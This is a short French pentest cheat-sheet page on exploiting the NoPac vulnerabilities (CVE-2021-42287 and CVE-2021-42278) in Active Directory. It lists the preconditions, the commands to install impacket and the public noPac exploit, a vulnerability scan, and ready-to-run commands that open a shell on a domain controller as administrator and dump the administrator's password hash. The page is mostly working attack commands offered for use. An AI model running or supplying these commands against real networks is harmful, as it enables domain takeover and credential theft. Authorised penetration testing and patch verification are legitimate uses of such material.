Skip to content

NoPac (Sam AccountName Spoofing)

CVE 2021-42287 et  2021-42278
Correctif fixant la vulnérabilité CU 2021-11

Eléments nécessaires à l'exploitation

  • MAJ Windows appliquées inférieures à 2021-11
  • ms-DS-MachineAccountQuota doit être supérieur à 0 pour nous permettre de créer un compte d'ordinateur

Exploitation

Installation de l'outil

# installer impacket
git clone https://github.com/SecureAuthCorp/impacket.git
python setup.py install 
# cloner le dépot de l'exploit
git clone https://github.com/Ridter/noPac.git

Lancement du scanner pour vérifier si la cible est vulnérable

sudo python3 scanner.py $AD_DOMAIN/$AD_USER:$AD_PASSWORD -dc-ip $TARGET_IP -use-ldap

Obtention d'un shell sur le controlleur de domaine

sudo python3 noPac.py $AD_DOMAIN/$AD_USER:$AD_PASSWORD -dc-ip $TARGET_IP   -dc-host $DC_HOSTNAME -shell --impersonate administrator -use-ldap

On pourra utiliser différents shells à l'aide des paramètres suivants :

-exec-method smbexec
-exec-method wmiexec
-exec-method mmcexec

Message d'erreur possible :

[-] Pls use full domain name, such as: domain.com/username

Ce message apparaît si le nom du domaine saisit n'est pas écrit en majuscule apparemment (pas eu le temps de chercher la cause de ce problème)

Dump de Hash

Attention aux subtilités

  • noPac.py prend en premier paramètre les identifiants d'un utilisateurs du domaine préfixés par le nom de domaine DNS
  • a l'inverse, le paramètre -just-dc-user ne retourne un résultat que si on préfixe l'utilisateur par le nom de domaine NETBIOS
sudo python noPac.py DOMAIN.DNS.LOCAL/$AD_USER:$AD_PASSWORD -dc-ip $TARGET_IP  -dc-host domainControllerHostname  --impersonate administrator  -dump -just-dc-user NETBIOS_DOMAIN/administrator -just-dc